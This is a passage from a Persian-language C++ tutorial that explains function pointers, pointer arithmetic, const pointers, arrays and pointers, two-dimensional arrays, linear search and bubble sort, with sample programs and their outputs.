for ( int pass = 1; pass < size; pass++ )
for ( int count = 0; count < size-1; count++)
if ( (*compare)( work[count], work[count + 1]))
swap( &work[ count ], &work[count + 1]);
}
void swap( int * const element1Ptr,
int * const element2Ptr )
{
int hold = *element1Ptr;
*element1Ptr = *element2Ptr;
*element2Ptr = hold;
}
int ascending( int a, int b )
{
return b < a;
}
int descending( int a, int b )
{
return b > a;
}
خروجی برنامه فوق به صورت زير می باشد :
Enter 1 to sort in ascending order,
Enter 2 to sort in descending order: 1
Data items in original order
2 6 4 8 10 12 89 68 45 37
Data items in ascending order
2 4 6 8 10 12 37 45 68 89
Enter 1 to sort in ascending order,
Enter 2 to sort in descending order: 2
Data items in original order
2 6 4 8 10 12 89 68 45 37
Data items in descending order
89 68 45 37 12 10 8 6 4 2
همانطور که در برنامه ديديد آرگومان زير در تابع bubble مورد استفاده قرار گرفت :
int (*compare) (int , int)
اين دستور به تابع bubble می گويد که آرگومانی که دريافت می کند، يک اشاره گر به تابعی می باشد که دو آرگومان از نوع عدد صحيح دريافت می کند و خروجی آن از نوع int می باشد.
پرانتزهای به کار رفته در کنار compare* برای اينکه مشخص کنيم compare اشاره گری به يک تابع می باشد ، الزاميند. اگر پرانتزها را در کنار compare* به کار نبريم دستور زير را خواهيم داشت :
int *compare (int,int)
که اين دستور ، تابعی را تعريف می کند که دو عدد صحيح را دريافت کرده و اشاره گری به مقداری از نوع int را به عنوان خروجی بر می گرداند .
اين آرگومان در پيش تعريف تابع bubble به صورت زير می باشد :
int (*)(int,int)
توجه داشته باشيد که تنها نوع داده ها مشخص شده است و نيازی به ذکر نام داده ها و آرگومانها نمی باشد .
تابع ارسال شده به bubble توسط دستور زير فراخوانی می شود :
(*compare) (work[count],work[count+1])
يکی ديگر از کاربردهای اشاره گرهای تابع در انتخاب يکی از موارد يک فهرست می باشد . برنامه از کاربر می خواهد که گزينه ای را از فهرستی انتخاب کند . هر گزينه به تابعی مرتبط است که با انتخاب آن گزينه ، تابع مرتبط به گزينه انتخاب شده ، اجرا می شود . اشاره گرهای به هر تابع ، در يک آرايه قرار می گيرند . در چنين حالتی همه اين توابع بايد ورودی و خروجی يکسانی از نظر نوع داده داشته باشند . انتخاب کاربر به عنوان انديسی از آرايه اشاره گرهای به توابع ، مورد استفاده قرار می گيرد و اشاره گر موجود در آرايه برای فراخوانی تابع مربوط استفاده می شود. در برنامه زير نحوه استفاده از آرايه ای از اشاره گرهای به توابع نشان داده شده است :
#include <iostream.h>
void function1( int );
void function2( int );
void function3( int );
int main()
{
void(*f[ 3 ])(int)={function1, function2, function3};
int choice;
cout << "Enter a number between 0 and 2, 3 to end:";
cin >> choice;
while ( choice >= 0 && choice < 3 ) {
(*f[ choice ])( choice );
cout <<"Enter a number between 0 and 2, 3 to end:";
cin >> choice;
}
cout << "Program execution completed." << endl;
return 0;
}
void function1( int a )
{
cout << "You entered " << a
<< " so function1 was called\n\n";
}
void function2( int b )
{
cout << "You entered " << b
<< " so function2 was called\n\n";
}
void function3( int c )
{
cout << "You entered " << c
<< " so function3 was called\n\n";
}
خروجی برنامه فوق به صورت زير می باشد :
Enter a number between 0 and 2, 3 to end: 2
You entered 2 so function3 was called
Enter a number between 0 and 2, 3 to end: 0
You entered 0 so function1 was called
Enter a number between 0 and 2, 3 to end: 1
You entered 1 so function2 was called
Enter a number between 0 and 2, 3 to end: 3
Program execution completed.
در برنامه فوق سه تابع با نامهای function1 و function2 و function3 که هر يک عدد صحيحی را به عنوان ورودی دريافت می کنند و خروجی ندارند ، تعريف شده است. دستور زير اشاره گرهای به اين سه تابع را در آرايه ای با نام f قرار می دهد .
void (*f[3]) (int) = {function1,function2,function3};
همانطور که می بينيد نوع آرايه کاملاً مثل نوع توابع، تعريف شده است ، چون اين آرايه حاوی اشاره گرهايی به توابع می باشد . هنگامی که کاربر عددی را بين 0 تا 2 وارد می کند ، عدد وارد شده به عنوان انديس آرايه f استفاده می شود . لذا دستور زير :
(*f[choice]) (choice);
باعث اجرای يکی از توابع آرايه f می شود و choice به عنوان آرگومان به تابع ارسال می شود .
نظرات ()عناصر يک آرايه می توانند اشاره گرها باشند . يکی از کاربردهای چنين آرايه ای ساختن آرايه ای شامل رشته هايی از حروف می باشد . هر عنصر چنين آرايه ای يک رشته از حروف می باشد که اين رشته از حروف توسط اشاره گری به اولين حرف رشته مشخص می شود . به دستور زير توجه کنيد :
const char *s[4] =
{ "string1","string2","string3","string4" }
دستور فوق آرايه ای چهار عنصری شامل رشته هايی از حروف ايجاد می کند.
*char در دستور فوق مشخص می کند که هر عنصر آرايه s ، اشاره گری به
داده ای از نوع char می باشد . چهار مقداری که در آرايه قرار می گيرند
"string1" و "string2" و "string3" و "string4" می
باشند . انتهای هر کدام از اين رشته ها که در حافظه قرار می گيرند با کاراکتر پوچ
مشخص می شود ، لذا طول اين رشته ها يک واحد بيشتر از تعداد حروفی می باشد که بين "
" قرار دارد . در اين دستور طول هر يک از رشته ها هشت حرف می باشد . اگر چه به نظر
می رسد که اين رشته از حروف درآرايه قرار می گيرند ولی در واقع اشاره گرهايی به
اولين حرف هر يک از اين رشته ها در آرايه قرار دارد . به شکل زير توجه کنيد :

اگر چه آرايه طول ثابتی دارد ، اما اين شيوه ما را قادر می سازد که به رشته هايی با طول نا مشخص دسترسی پيدا کنيم . اين انعطاف پذيری مثالی از توان زبان ++C در ايجاد ساختمان های داده ای می باشد .
نکته : توجه داشته باشيد که آرايه ای
از حروف را می توان توسط يک آرايه دو بعدی از نوع char نيز ايجاد کرد که هر
سطر حاوی يک رشته و هر ستون حاوی يک حرف از يک رشته می باشد . در چنين حالتی تعداد
ستون ها در هر سطر بايد عددی ثابت باشد و اين عدد بايد برابر با طول بزرگترين رشته
باشد ، لذا هنگامی که رشته های زيادی از حروف داريم و طول اکثر رشته ها از طول
بزرگترين رشته کمتر می باشند ، مقدار زيادی از خانه های حافظه به هدر می رود . به
شکل زير توجه کنيد :


نظرات ()آرايه ها و اشاره گرها در زبان ++C ارتباط نزديکی با يکديگر داشته و تقريباً می توان آنها را به جای يکديگر به کار برد نام آرايه را می توان به عنوان يک اشاره گر ثابت در نظر گرفت و تمام اعمالی که توسط انديس آرايه می توان انجام داد توسط اشاره گر نيز قابل انجام است و از طريق اشاره گر نيز می توان به تک تک عناصر آرايه دست يافت . دستور زير را در نظر بگيريد :
int b[5];
int bptr;
از آنجا که نام آرايه (بدون انديس) اشاره گری به عنصر اول آرايه می باشد ، می توانيم اشاره گر bptr را توسط دستور زير، به اولين عنصر آرايه b اشاره دهيم :
bptr = b;
و يا می توانيم از دستور زير برای اشاره دادن bptr به عنصر اول آرايه b استفاده کنيم :
bptr = &b[0]
برای دستيابی به عنصر b[3] توسط اشاره گر bptr که توسط يکی از دستورهای فوق به آرايه b مرتبط شد، می توان از دستور زير استفاده کرد :
*(bptr + 3)
در مبحث قبل با مفهوم bptr+3 و عباراتی از اين قبيل آشنا شده
ايد. از آنجايی که bptr به عنصر اول آرايه اشاره می کند پس حاوی آدرس عنصر
اول آرايه يعنی b[0] می باشد، لذا bptr+3 آدرس
خانه b[3] خواهد بود پس
*(bptr +
3) به خانه b[3] اشاره خواهد کرد . توجه
داشته باشيد که استفاده از پرانتز در اينجا اجباری می باشد ، چون عملگر *
اولويت بالاتری نسبت به عملگر + دارد . اگر دستور فوق را بدون پرانتز به کار
ببريم يعنی از bptr+3* استفاده کنيم عدد 3 به خانه b[0] اضافه می گردد .
توجه داشته باشيد که *(b + 3) ( در اينجا b نام آرايه ای می باشد که در دستورات فوق تعريف گرديد ) نيز به خانه b[3] از آرايه اشاره می کند ، چون همانطور که در ابتدای اين بحث گفته شد نام آرايه همانند يک اشاره گر ثابت می باشد .
اشاره گرها را نيز می توان مانند آرايه ها انديس دار کرد ، به عنوان مثال bptr[1] به عنصر b[1] رجوع خواهد کرد چون bptr اشاره گری به آرايهb می باشد .
نکته : همانطور که می دانيد نام آرايه ، اشاره گر ثابتی می باشد لذا دستوری مانند b+=3; برای آرايه ای با نام b قابل استفاده نمی باشد ، چون اشاره گر ثابت همواره به يک خانه از حافظه اشاره می کند .
برای درک نحوه ارتباط و شباهت آرايه ها و اشاره گرها ، به برنامه زير که در آن عناصر آرايه ای توسط چهار روش متفاوت در خروجی چاپ می شوند ، توجه کنيد :
#include <iostream.h>
void main()
{
int b[] = { 10, 20, 30, 40 };
int *bPtr = b;
int i;
cout << "b[i]:\n";
for ( i = 0; i < 4; i++ )
cout << "b[" << i << "] = " << b[ i ] << '\n';
cout << "\n*(b + i):\n";
for ( i = 0; i < 4; i++ )
cout << "*(b + " << i << ") = "
<< *( b + i ) << '\n';
cout << "\nbPtr[i]:\n";
for ( i = 0; i < 4; i++ )
cout << "bPtr[" << i << "] = " << bPtr[ i ] <<'\n';
cout << "\n*(bPtr + i):\n";
for ( i = 0; i < 4; i++ )
cout << "*(bPtr + " << i << ") = "
<< *( bPtr + i ) << '\n';
}
خروجی برنامه فوق به صورت زير می باشد :
b[i]:
b[0] = 10
b[1] = 20
b[2] = 30
b[3] = 40
*(b + i):
*(b + 0) = 10
*(b + 1) = 20
*(b + 2) = 30
*(b + 3) = 40
bPtr[i]:
bPtr[0] = 10
bPtr[1] = 20
bPtr[2] = 30
bPtr[3] = 40
*(bPtr + i):
*(bPtr + 0) = 10
*(bPtr + 1) = 20
*(bPtr + 2) = 30
*(bPtr + 3) = 40
نظرات ()اشاره گرها عملوندهايی مجاز در عبارات محاسباتی ، و رابطه ای می باشند ، البته تمامی عملگرهايی که در اينگونه عبارات به کار می روند برای اشاره گرها مجاز نمی باشند . در اين مبحث به بررسی عملگرهايی که عملوندی از نوع اشاره گر می توانند داشته باشند و نحوه کاربرد آنها می پردازيم .
يک اشاره گر می تواند افزايش (++) يا کاهش (--) يابد . يک عدد صحيح می تواند به آن اضافه (=+ يا +) و يا از آن کم (=- يا -) شود .
فرض کنيد که آرايهint v[5] تعريف شده است و اولين خانه آن در آدرس 3000 از حافظه قرار دارد و فرض کنيد که vptr به خانهv[0] از آرايه اشاره می کند . توجه داشته باشيد که برای اينکه vptr به آرايه v اشاره کند کافی است از يکی از دستورات زير استفاده کنيم :
vptr = v;
vptr = &v[0];
در رياضيات معمول 2+3000 برابر 3002 می شود اما در محاسبات اشاره گرها معمولاً بدين صورت نم باشد . هنگامی که عدد صحيحی به يک اشاره گر اضافه و يا از آن کم می شود ، مقدار اشاره گر معمولاً به اندازه آن عدد زياد يا کم نمی شود ، بلکه به اندازه طول نوع داده ای که اشاره گر به آن اشاره می کند ، زياد يا کم می شود . به عنوان مثال دستور vptr += 2; حاصلش برابر (3000 + 2*4) 3008 خواهد شد البته با فرض اينکه متغيری از نوع int در چهار بايت از حافظه قرار می گيرد . در آرايه v ، اشاره گر vptr حالا به خانهv[2] اشاره می کند .
اگر متغيری از نوع int در دو بايت از حافظه قرار بگيرد حاصل دستور vptr += 2; خانه (3000 + 2*2)3004 می بود .
اگر vptr به خانه v[4] که در آدرس 3016 است اشاره کند اجرای دستور زير :
vptr -= 4;
باعث می شود که vptr به خانه(3016 - 4*4)3000 يعنیv[0] اشاره کند .
هر يک از دستورات زير باعث می شود که اشاره گر به خانه بعدی آرايه v ، اشاره کند .
++vptr;
vptr++;
و هر يک از دستورات زير باعث می شود که اشاره گر به خانه قبلی آرايه v ، اشاره کند .
--vptr;
vptr--;
اشاره گرهايی که به خانه های يک آرايه اشاره می کنند می توانند از يکديگر کم شوند . به عنوان مثال اگر vptr حاوی 3000 (يعنی به خانهv[0] اشاره کند ) و v2ptr حاوی 3008 ( يعنی به خانهv[2] اشاره کند ) دستور زير :
x=v2ptr - vptr;
تعداد خانه های بين vptr تا v2ptr را در x قرار می دهد که در اينجا x حاوی 2 می گردد . محاسبات اشاره گرها تنها هنگامی که اشاره گرها به خانه های يک آرايه اشاره می کنند ، معنا دار است . همچنين مقايسه اشاره گرها نيز هنگامی مفهوم دارد که به خانه های يک آرايه اشاره کنند به عنوان مثال مقايسه دو اشاره گر می تواند نشان دهد که يکی از اشاره گرها به خانه ای با انديس بزرگتر نسبت به اشاره گر ديگر ، اشاره می کند .
نظرات ()همانطور که می دانيد const به برنامه نويس اين امکان را می دهد که مقدار يک متغير را که از نوع const تعريف شده است ، در طول برنامه نتوان تغيير داد . داده هايی که توسط اشاره گرها به توابع ارسال می شوند ، داخل تابع قابل تغيير می باشند و ممکن است نا خواسته تغيير يابند . برای جلوگيری از تغييرات نا خواسته ، آنها را به صورت ثابت به تابع ارسال می کنيم . به برنامه زير توجه کنيد :
void f( const int * ); // prototype
int main()
{
int y;
f( &y ); // f attempts illegal modification
return 0;
}
// xPtr cannot modify the value of the variable
// to which it points
void f( const int *xPtr )
{
*xPtr = 100; // error: cannot modify a const object
}
برنامه فوق هنگام کامپايل شدن پيغام خطايی مبنی بر اينکه داده ثابت قابل تغيير نمی باشد را خواهد داد .
Compiling CONSTP1.CPP:
Error CONSTP1.CPP 16: Cannot modify a const object
همانطور که مشاهده می کنيد برای ارسال آرگومان توسط اشاره گر به صورت ثابت به تابع از دستور const int *xptr استفاده کرديم . و در تابع هنگام تغيير مقدار اشاره گر ثابت با پيغام خطا مواجه شديم .
يکی ديگر از کاربردهای const همراه اشاره گرها ، ايجاد اشاره گر ثابتی به داده ای غير ثابت می باشد . چنين اشاره گری همواره به يک خانه حافظه اشاره می کند و نمی توان آن را به خانه حافظه ديگری اشاره داد ولی می توان داده داخل همان خانه حافظه را تغيير داد . به برنامه زير توجه کنيد :
int main()
{
int x, y;
// ptr is a constant pointer to an integer that can
// be modified through ptr, but ptr always points
// to the same memory location.
int * const ptr = &x;
*ptr = 7; // allowed: *ptr is not const
ptr = &y; // error: ptr is const;
// cannot assign new address
return 0;
}
برنامه فوق هنگام کامپايل شدن پيغام خطايی می دهد ، مبنی بر اينکه به اشاره گر ثابت آدرس جديدی را نمی توان نسبت داد .
Compiling CONSTP2.CPP:
Error CONSTP2.CPP 11: Cannot modify a const object
در برنامه فوق توسط دستور int * const ptr=&x; اشاره گر ptr به آدرس متغير x اشاره خواهد کرد و چون از نوع ثابت تعريف شده است نمی تواند به آدرس ديگری اشاره کند اما مقداری را که ptr به آن اشاره می کند قابل تغيير است لذا با اجرای دستور ptr=7* خطايی رخ نمی دهد و مقدار متغير x برابر 7 می شود ولی با اجرای دستور ptr=&y می خواهيم اشاره گر به متغير y اشاره کند و از آنجايی که ptr تنها بايد به x اشاره کند با پيغام خطا مواجه می شويم .
کاربرد ديگری از const همراه اشاره گرها ، ايجاد اشاره گر ثابتی به داده ای ثابت می باشد . چنين اشاره گری همواره به يک خانه حافظه اشاره می کند و از طريق اين اشاره گر نيز نمی توان داده داخل آن خانه حافظه را تغيير داد . به برنامه زير توجه کنيد :
#include <iostream.h>
int main()
{
int x = 5, y;
// ptr is a constant pointer to a constant integer.
// ptr always points to the same location;
// the integer at that location cannot be modified.
const int *const ptr = &x;
cout << *ptr << endl;
*ptr = 7; // error: *ptr is const;
// cannot assign new value
ptr = &y; // error: ptr is const;
// cannot assign new address
return 0;
}
هنگام کاپايل کردن برنامه فوق با پيغام خطايی مبنی بر اينکه مقدار اشاره گر و آدرس اشاره گر را نمی توان تغيير داد ، مواجه می شويم .
Compiling CONSTP3.CPP:
Error CONSTP3.CPP 14: Cannot modify a const object
Error CONSTP3.CPP 16: Cannot modify a const object
در برنامه فوق توسط دستور const int * const ptr = &x; آدرس و مقدار اشاره گر ptr از نوع ثابت تعريف شده لذا هنگام تغيير مقدار خانه ای از حافظه که ptr به آن اشاره می کند توسط دستور *ptr = 7; با پيغام خطا مواجه می شويم و نيز هنگام تغيير آدرسی که ptr با آن اشاره می کند توسط دستور ptr = &y; پيغام خطای ديگری دريافت می کنيم .
نظرات ()تا به حال با دو روش ارسال آرگومانها به توابع آشنا شده ايد . ارسال با مقدار و ارسال با ارجاع . در اين مبحث روش ديگری را که ارسال توسط اشاره گر می باشد مورد بررسی قرار می دهيم . اشاره گرها مانند آرگومانهای ارجاع می توانند برای تغيير يک يا چند متغير ارسال شده از داخل تابع و يا برای ارسال داده های بزرگ به توابع مورد استفاده قرار گيرند . در برنامه زير ، شيوه ارسال آرگومان توسط اشاره گر به تابع مورد استفاده قرار گرفته است .
#include <iostream.h>
void callByPointer( int * );
int main()
{
int number = 5;
cout << "The original value of number is " << number;
// pass address of number to callByPointer
callByPointer( &number );
cout << "\nThe new value of number is "
<< number << endl;
return 0;
}
void callByPointer( int *nPtr )
{
*nPtr = *nPtr * *nPtr * *nPtr; // cube *nPtr
}
خروجی برنامه فوق به صورت زير می باشد :
The original value of number is 5
The new value of number is 125
همانطور که در برنامه فوق مشاهده می کنيد ، برای ارسال آرگومان به تابع توسط اشاره گر ، در پيش تعريف تابع پس از مشخص کردن نوع آرگومان از علامت * استفاده می کنيم و در تعريف تابع نيز علامت * را قبل از نام آرگومان اشاره گر قرار می دهيم . ضمناً از آنجا که اشاره گرها آدرس متغيرها را در خود قرار می دهند برای ارسال آرگومان توسط اشاره گر به يک تابع ، هنگام فراخوانی تابع بايد نام متغير ارسالی را همراه علامت & به کار ببريم چون تنها در اين صورت آدرس متغير ارسال می گردد .
نظرات ()عملگر آدرس (&) عملگری است که آدرس خانه حافظه عملوند خود را بر می گرداند .
int y=5;
int *yPtr;
yPtr = &y;
دستورات فوق متغير y را از نوع int با عدد 5 مقدار دهی کرده و سپس yPtr ، اشاره گری به متغيری از نوع int تعريف می شود و سرانجام آدرس خانه حافظه y در yPtr قرار می گيرد .

همانطور که در شکل فوق می بينيد ، yPtr حاوی آدرس خانه حافظه y می باشد .
برای آشنايی با نحوه استفاده از اشاره گرها به برنامه زير توجه کنيد :
#include <iostream.h>
void main ()
{
int x = 5, y = 15;
int *xPtr, *yPtr;
xPtr = &x;
yPtr = &y;
cout << "The value of x is " << x
<< "\nThe address of x is " << &x
<< "\nThe value of xPtr is " << xPtr;
cout << "\n\nThe value of y is " << y
<< "\nThe address of y is " << &y
<< "\nThe value of yPtr is " << yPtr;
*xPtr = 10;
cout << "\n\nx=" << x << " and y=" << y;
*yPtr = *xPtr;
cout << "\nx=" << x << " and y=" << y;
xPtr = yPtr;
cout << "\nx=" << x << " and y=" << y;
*xPtr = 20;
cout << "\nx=" << x << " and y=" << y;
}
خروجی برنامه فوق به صورت زير می باشد :
The value of x is 5
The address of x is 0x8fb4fff4
The value of xPtr is 0x8fb4fff4
The value of y is 15
The address of y is 0x8fb4fff2
The value of yPtr is 0x8fb4fff2
x=10 and y=15
x=10 and y=10
x=10 and y=10
x=10 and y=20
در برنامه فوق دو متغير x وy از نوع عدد صحيح تعريف شده و x حاوی 5 و y حاوی 15 می گردد سپس xPtr و yPtr اشاره گری به عدد صحيح تعريف می شوند .
xPtr = &x;
yPtr = &y;
دو دستور فوق همانطور که در خروجی برنامه نيز می بيند ، آدرس خانه حافظه x را در xPtr و آدرس خانه حافظه y را در yPtr قرار می دهد .
دستور *xPtr = 10; در خانه ای از حافظه که xPtr اشاره می کند ( يعنی متغير x ) عدد 10 را قرار می دهد سپس*yPtr = *xPtr; مقدار خانه حافظه ای که xPtr به آن اشاره می کند را در خانه ای از حافظه که yPtr به آن اشاره می کند قرار می دهد يعنی مقدار متغير x در متغير y قرار می گيرد .
دستور xPtr = yPtr; مقدار yPtr را که همان آدرس خانه حافظه y می باشد در xPtr قرار می دهد پس با اجرای اين دستور xPtr ديگر به x اشاره نمی کند بلکه به y اشاره خواهد کرد ، لذا با اجرای دستور *xPtr = 20; همانطور که مشاهده می کنيد x حاوی 20 نمی شود بلکه اين مقدار y است که به 20 تغيير می يابد .
نظرات ()متغيرهای اشاره گر، آدرس خانه های حافظه را در خود نگهداری می کنند . متغيرها معمولاً مقدار مشخصی را در خود دارند ولی اشاره گرها آدرس يک متغير را در خود دارند . نام يک متغير به طور مستقيم به يک مقدار ، مراجعه می کند اما يک اشاره گر به طور غير مستقيم به يک مقدار مراجعه می کند . به شکل زير توجه کنيد :

count به طور مستقيم به مقدار 7 مراجعه می کند .

countPtr به طور غير مستقيم به متغيری که حاوی 7 می باشد مراجعه می کند .
اشاره گرها نيز مانند هر متغير ديگری ، قبل از استفاده بايد تعريف شوند . به عنوان مثال دستور زير متغير count را از نوع int و متغير countPtr را اشاره گری به متغيری از نوع int تعريف می کند .
int count , *countPtr ;
برای تعريف هر متغيری از نوع اشاره گر ، از علامت ستاره * قبل از نام آن استفاده می کنيم .
به دستور زير توجه کنيد :
double *xPtr , *yPtr ;
در دستور فوق ، xPtr و yPtr اشاره گرهايی به متغيرهايی از نوع double تعريف می شوند .
نکته: استفاده از Ptr در انتهای نام متغيرهای اشاره گر الزامی نمی باشد ولی برای اينکه برنامه قابل فهم تر باشد توصيه می شود از Ptr در انتهای نام اشاره گر استفاده کنيد .
نظرات ()آرايه ها در ++C می توانند بيش از يک انديس داشته باشند . بدين صورت يک آرايه چند انديسه يا چند بعدی خواهيم داشت . کاربردی ترين آرايه چند بعدی ، آرايه دو بعدی می باشد که توسط آن می توان جدولی حاوی مقادير مختلف را شبيه سازی کرد . به دستور زير توجه کنيد :
int a[3][4];
دستور فوق يک آرايه دو بعدی 3 در 4 را به صورت زير ايجاد می کند :

هر عنصر آرايه به صورت a[i][j]، که در آن i شماره سطر و j شماره ستون می باشد ، قابل دسترسی است .
برای مقدار دهی اوليه به عناصر آرايه می توانيد مانند دستور زير عمل کنيد :
int b[2][2] = {{1,2},{3,4}};
دستور فوق آرايه b را به صورت زير مقدار دهی می کند :
|
1 |
2 |
|
3 |
4 |
در برنامه زير چند نمونه از مقدار دهی اوليه به آرايه دو بعدی 2 در 3 آورده شده است :
#include <iostream.h>
void printArray( int [][ 3 ] );
void main()
{
int array1[ 2 ][ 3 ] = { { 1, 2, 3 }, { 4, 5, 6 } };
int array2[ 2 ][ 3 ] = { 1, 2, 3, 4, 5 };
int array3[ 2 ][ 3 ] = { { 1, 2 }, { 4 } };
cout << "Values in array1 by row are:" << endl;
printArray( array1 );
cout << "Values in array2 by row are:" << endl;
printArray( array2 );
cout << "Values in array3 by row are:" << endl;
printArray( array3 );
}
void printArray( int a[][ 3 ] )
{
for ( int i = 0; i < 2; i++ )
{
for ( int j = 0; j < 3; j++ )
cout << a[ i ][ j ] << ' ';
cout << endl;
}
}
خروجی برنامه به صورت زير می باشد :
Values in array1 by row are:
1 2 3
4 5 6
Values in array2 by row are:
1 2 3
4 5 0
Values in array3 by row are:
1 2 0
4 0 0
در برنامه فوق تابع PrintArray وظيفه چاپ عناصر آرايه را بر روی صفحه نمايش دارا می باشد . توجه داشته باشيد که ارسال آرايه به تابع به صورتint a[][3] انجام گرفت . اگر بياد داشته باشيد در آرايه های يک بعدی نيازی به ذکر طول آرايه نبود اما آرايه های بيش از يک بعد تعداد عناصر بعدهای ديگر بايد ذکر شود ، اما نيازی به ذکر طول بعد اول نمی باشد .
مثال : در برنامه زير آرايه 2 بعدی 10 در 10 را با مقادير جدول ضرب ، مقدار دهی می کنيم و سپس آن را بر روی صفحه نمايش چاپ می کنيم .
#include <iostream.h>
void main( )
{
int a[10][10],i,j;
for (i=0;i<10;i++)
for (j=0;j<10;j++)
a[i][j]=(i+1)*(j+1);
for (i=0;i<10;i++){
for (j=0;j<10;j++)
cout <<a[i][j]<<"\t";
cout<<endl;
}
}
خروجی برنامه فوق به صورت زير می باشد :
1 2 3 4 5 6 7 8 9 10
2 4 6 8 10 12 14 16 18 20
3 6 9 12 15 18 21 24 27 30
4 8 12 16 20 24 28 32 36 40
5 10 15 20 25 30 35 40 45 50
6 12 18 24 30 36 42 48 54 60
7 14 21 28 35 42 49 56 63 70
8 16 24 32 40 48 56 64 72 80
9 18 27 36 45 54 63 72 81 90
10 20 30 40 50 60 70 80 90 100
نظرات ()عمل جستجو يکی از مهمترين وظايف برنامه های کامپيوتری می باشد . به عنوان مثال دفتر تلفنی را در نظر بگيريد که به دنبال نام فردی در آن می گرديم و يا جستجوی نام يک دانشجو در ليست دانشجويان کلاس . در اين مبحث دو روش جستجو را مورد بررسی قرار می دهيم . يک روش جستجوی خطی است که معمولاً در آرايه های نا مرتب مورد استفاده قرار می گيرد و روش ديگر جستجوی دو دويی می باشد که در آرايه های مرتب از اين شيوه می توانيم استفاده کنيم .
در روش جستجوی خطی ، عنصر مورد جستجو با هر يک از عناصر آرايه مقايسه می شود ، چنانچه دو عنصر برابر بودند ، عمل جستجو به پايان می رسد و انديس عنصر برگردانده می شود و گرنه مقايسه با عنصر بعدی آرايه انجام می پذيرد . از آنجا که عناصر آرايه نا مرتب می باشند عنصر مورد جستجو در هر کجای آرايه می تواند باشد لذا عمل مقايسه تا يافتن عنصر مورد نظر و يا رسيدن به انتهای آرايه يعنی جستجو در همه عناصر آرايه ادامه می يابد . برنامه زير نمونه ای از جستجوی خطی در آرايه می باشد :
#include <iostream.h>
int linearSearch(const int [], int, int );
void main()
{
const int arraySize = 7;
int a[ arraySize ]={2,6,4,3,12,10,5};
int searchKey;
cout << "Enter integer search key: ";
cin >> searchKey;
int element=linearSearch(a, searchKey, arraySize);
if ( element != -1 )
cout << "Found value in element "
<< element << endl;
else
cout << "Value not found" << endl;
}
int linearSearch( const int array[],
int key, int sizeOfArray )
{
for ( int j = 0; j < sizeOfArray; j++ )
if ( array[ j ] == key )
return j;
return -1;
}
خروجی برنامه فوق به صورت زير می باشد :
Enter integer search key: 12
Found value in element 4
روش جستجوی دو دويی در آرايه های مرتب شده قابل استفاده می باشد و از سرعت بالايی برخوردار می باشد . در اين الگوريتم ، در هر بار مقايسه ، نيمی از عناصر آرايه حذف می شوند . الگوريتم عنصر ميانی آرايه را می يابد و آن را با عنصر مورد جستجو، مقايسه می کند . اگر برابر بودند ، جستجو به پايان رسيده و انديس عنصر برگردانده می شود ، در غير اين صورت عمل جستجو روی نيمی از عناصر انجام می گيرد . اگر عنصر مورد جستجو کوچکتر از عنصر ميانی باشد ، جستجو روی نيمه اول آرايه صورت می پذيرد ، در غير اين صورت نيمه دوم آرايه جستجو می شود . اين جستجوی جديد روی زير آرايه طبق الگوريتم جستجو روی آرايه اصلی انجام می شود يعنی عنصر ميانی زير آرايه يافته می شود و با عنصر مورد جستجو مقايسه می گردد ، اگر برابر نباشند زير آرايه مجدداً نصف می شود و در هر بار جستجو زير آرايه ها کوچکتر می گردند . عمل جستجو تا يافتن عنصر مورد نظر( يعنی برابر بودن عنصر مورد جستجو با عنصر ميانی يکی از زير آرايه ها ) و يا نيافتن عنصر مورد نظر ( برابر نبودن عنصر مورد جستجو با عنصر زير آرايه ای شامل تنها يک عنصر ) ادامه می يابد . برنامه زير نمونه ای از جستجوی دو دويی در آرايه مرتب می باشد .
خروجی برنامه فوق به صورت زير می باشد :
Enter a number between 0 and 28: 8
8 found in array element 4
نظرات ()مرتب کردن اطلاعات چه به صورت صعودی يا نزولی ، يکی از مهمترين وظايف کامپيوتر می باشد . به عنوان مثال تعيين رتبه دانش آموزان يک مدرسه بر اساس معدل ، تعيين رتبه شرکت کنندگان در کنکور ، مرتب کردن شماره تلفن ها بر اساس نام صاحب تلفن را می توان نام برد . برای آشنايی با شيوه مرتب کردن ، ليست اعداد زير را در نظر بگيريد :
2 , 5 , 4 , 3 , 6 , 1
برای مرتب کردن ليست اعداد فوق از کوچک به بزرگ آنها را در آرايه ای قرار می دهيم :
int a[] = { 2 , 5 , 4 , 3 , 6 , 1};
حال کافی است آرايه a را به صورت صعودی مرتب کنيم . برای انجام اين کار از روشی به نام مرتب کردن حبابی استفاده می کنيم . اين تکنيک به دليل اينکه مقادير کوچکتر همانند حبابی در آب به سمت بالا حرکت می کنند ، مرتب کردن حبابی گفته می شود . برای مرتب کردن آرايه چندين بار بايد روی آرايه حرکت کنيم و در هر بار حرکت عناصر دو به دو با هم مقايسه می شوند ، و در صورتی که به صورت نزولی قرار داشته باشند مقاديرشان جابه جا می گردد و در غير اين صورت به همان ترتيب باقی می مانند .
برنامه زير ليست اعداد ذکر شده را به شيوه مرتب کردن حبابی ، از کوچک به بزرگ مرتب می کند .
#include <iostream.h>
void showArray(const int [] , int);
void main()
{
const int arraySize = 6;
int a[ arraySize ] = { 2, 5, 4, 3, 6 ,1};
int hold;
cout << "Data items in original order\n";
showArray(a,arraySize);
for ( int i = 0; i < arraySize - 1 ; i++ )
for ( int j = 0; j < arraySize - 1; j++ )
if ( a[ j ] > a[ j + 1 ] ) {
hold = a[ j ];
a[ j ] = a[ j + 1 ];
a[ j + 1 ] = hold;
}
cout << "\nData items in ascending order\n";
showArray(a,arraySize);
}
void showArray( const int array[] ,int arraySize)
{
for (int c=0; c<arraySize ;c++)
cout << array[c] << " ";
cout << endl;
}
خروجی برنامه فوق به صورت زير می باشد :
Data items in original order
2 5 4 3 6 1
Data items in ascending order
1 2 3 4 5 6
در برنامه فوق تابع showArray وظيفه نمايش عناصر آرايه را به عهده دارد .
نظرات ()برای ارسال يک آرايه به عنوان آرگومان به يک تابع ، کافيست نام آرايه را بدون علامت براکت ([]) به کار ببريد . به عنوان مثال اگر آرايه ای با نام x به صورت زير تعريف شده باشد :
int x[24];
برای ارسال آن به تابع modifyArray کافيست تابع را به صورت زير:
modifyArray(x,24);
فراخوانی کنيد . دستور فوق آرايه و طول آن را به تابع modifyArray ارسال می کند . معمولاً هنگامی که آرايه ای را به تابعی ارسال می کنند ، طول آرايه را نيز همراه آرايه به عنوان يک آرگومان جداگانه به تابع می فرستند.
